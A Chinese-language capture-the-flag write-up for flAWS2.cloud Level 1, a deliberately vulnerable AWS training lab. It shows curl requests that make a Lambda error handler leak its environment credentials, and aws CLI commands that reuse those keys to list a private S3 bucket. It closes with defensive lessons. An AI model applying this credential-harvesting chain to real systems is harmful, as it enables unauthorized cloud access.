4 min read

flAWS2.cloud Level 1 Writeup — Lambda 環境變數洩漏與 S3 未授權存取

flAWS2.cloud Level 1 Writeup — Lambda 環境變數洩漏與 S3 未授權存取
靶場flAWS2.cloud — Attacker Path
難度:★☆☆☆☆(入門)
涉及服務:API Gateway、AWS Lambda、S3

0x00 題目概述

Level 1 的頁面上有一個 PIN 輸入框,要求輸入一組 100 位數的正確 PIN 碼,題目明確指出暴力破解不可行,因此必須從 AWS 雲端服務本身找到突破口。

0x01 偵察 — 原始碼分析

先觀察網頁原始碼:

curl -s http://level1.flaws2.cloud/

關鍵發現有兩個:

1. Client-side JavaScript 驗證

function validateForm() {
    var code = document.forms["myForm"]["code"].value;
    if (!(!isNaN(parseFloat(code)) && isFinite(code))) {
        alert("Code must be a number");
        return false;
    }
}

這段 JS 只驗證輸入是否為數字,用 curl 直接送 request 即可繞過。

2. 表單 action 指向 API Gateway + Lambda

<form name="myForm" action="https://2rfismmoo8.execute-api.us-east-1.amazonaws.com/default/level1" ...>

後端架構很明確:API Gateway → Lambda function。

0x02 攻擊 — 觸發 Lambda Error Disclosure

先送一個正常請求確認回應行為:

curl -s "https://2rfismmoo8.execute-api.us-east-1.amazonaws.com/default/level1?code=1234"

回應為空(302 redirect 到錯誤頁面),接著繞過 client-side 驗證,送入非數字值:

curl -s "https://2rfismmoo8.execute-api.us-east-1.amazonaws.com/default/level1?code=abc"

Lambda function 的 error handling 直接將整個執行環境的環境變數傾倒出來:

Error, malformed input
{"AWS_LAMBDA_FUNCTION_VERSION":"$LATEST",
 "AWS_ACCESS_KEY_ID":"ASIA...",
 "AWS_SESSION_TOKEN":"IQoJb3JpZ2luX2Vj...",
 "AWS_SECRET_ACCESS_KEY":"E2y8...",
 "AWS_DEFAULT_REGION":"us-east-1",
 "AWS_LAMBDA_FUNCTION_NAME":"level1",
 ...}

拿到三個關鍵值:

欄位 說明
AWS_ACCESS_KEY_ID ASIA 開頭,代表這是 STS 臨時 credentials
AWS_SECRET_ACCESS_KEY Secret Key
AWS_SESSION_TOKEN Session Token(臨時憑證必須搭配)

0x03 利用 — 冒用 Lambda 身份存取 S3

將洩漏的 credentials 設定為 AWS CLI profile:

aws configure set aws_access_key_id ASIAZQNB3KHGJCOCXPGM --profile flaws2
aws configure set aws_secret_access_key "E2y81/8EtlVmOw/8WYCV8+e5O5UpYTi1DR15zOsi" --profile flaws2
aws configure set aws_session_token "IQoJb3JpZ2luX2Vj..." --profile flaws2
aws configure set region us-east-1 --profile flaws2

確認身份:

$ aws sts get-caller-identity --profile flaws2
{
    "UserId": "AROAIBATWWYQXZTTALNCE:level1",
    "Account": "653711331788",
    "Arn": "arn:aws:sts::653711331788:assumed-role/level1/level1"
}

我們現在是 level1 Lambda 的 execution role,嘗試列舉 S3:

$ aws s3 ls --profile flaws2
# AccessDenied — 沒有 ListAllMyBuckets 權限

但我們已知網站域名,直接指定 bucket 名稱:

$ aws s3 ls s3://level1.flaws2.cloud --profile flaws2
                           PRE img/
2018-11-21 04:55:05      17102 favicon.ico
2018-11-21 10:00:22       1905 hint1.htm
2018-11-21 10:00:22       2226 hint2.htm
2018-11-21 10:00:22       2536 hint3.htm
2018-11-21 10:00:23       2460 hint4.htm
2018-11-21 10:00:17       3000 index.htm
2018-11-21 10:00:17       1899 secret-redacted.html

發現隱藏的 redacted.html,存取即可進入 Level 2:

http://level1.flaws2.cloud/secret-redacted.html

0x04 攻擊鏈總結

Client-side JS Bypass(送入非數字)
        ↓
Lambda Error Handler 洩漏環境變數
        ↓
取得 STS 臨時 Credentials(Access Key + Secret + Token)
        ↓
冒用 Lambda Execution Role 身份
        ↓
列舉 S3 Bucket 內容
        ↓
發現隱藏的 secret HTML → 過關

0x05 Lessons Learned

1. Lambda 環境變數洩漏

EC2 透過 metadata service(169.254.169.254)取得 IAM role credentials,而 Lambda 則是透過環境變數,開發者在 debug 時經常在 error handler 中 dump 環境變數,這在 production 環境中是極度危險的,因為 AWS_ACCESS_KEY_IDAWS_SECRET_ACCESS_KEYAWS_SESSION_TOKEN 都存在環境變數裡。

2. IAM 過度授權(Least Privilege 違反)

這個 Lambda 的 execution role 被授予了列舉 S3 bucket 內容的權限,但它的功能只是驗證 PIN 碼,正確做法是遵循最小權限原則(Least Privilege),只給予 Lambda 完成任務所需的最低限度權限,可以搭配 AWS CloudTrail + CloudTracker 或 AWS Access Advisor + RepoKid 來識別過度授權。

3. 不要只依賴 Client-side 驗證

這題的輸入驗證只在 JavaScript 端執行,用 curl 即可完全繞過,在 Serverless 架構中,請求從 client 經過 API Gateway 再到 Lambda,每一層都不應假設上游已經做過驗證,每個元件都應該獨立驗證輸入

4. Error Handling 的安全原則

  • 不要在 production 回傳 stack trace 或環境變數
  • 使用自定義 error response,只回傳必要的錯誤資訊
  • 將詳細的 debug 資訊記錄到 CloudWatch Logs,而非直接回傳給使用者